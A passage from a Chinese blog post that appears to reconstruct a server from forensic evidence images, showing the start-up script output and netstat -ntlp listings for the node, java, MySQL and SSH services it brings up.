nohup: appending output to ‘nohup.out’
Starting App:exchange 
nohup: appending output to ‘nohup.out’
Starting App:admin
nohup: appending output to ‘nohup.out’
Starting App:ucenter
nohup: appending output to ‘nohup.out’
Starting WEB:WEB
Starting WEB:admin
Finishkil
[root@localhost app]# nohup: appending output to ‘nohup.out’
nohup: appending output to ‘nohup.out’

第四步:查看服务启动情况

[root@localhost app]# netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:9090            0.0.0.0:*               LISTEN      10950/node          
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      876/sshd            
tcp        0      0 0.0.0.0:3000            0.0.0.0:*               LISTEN      10951/node          
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      1584/master         
tcp6       0      0 :::3306                 :::*                    LISTEN      1283/mysqld         
tcp6       0      0 :::22                   :::*                    LISTEN      876/sshd            
tcp6       0      0 :::7000                 :::*                    LISTEN      10749/java          
[root@localhost app]# 

现在端已经启动好了

访问检材1的9090端口,如下
在这里插入图片描述

访问检材1的3000端口

在这里插入图片描述

需要注意的一点是,五个jar包里面配置的IP地址,有的是172.16网段的,有的是192.168网段的,不用去管,直接跑脚本启动就行

  • 10
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值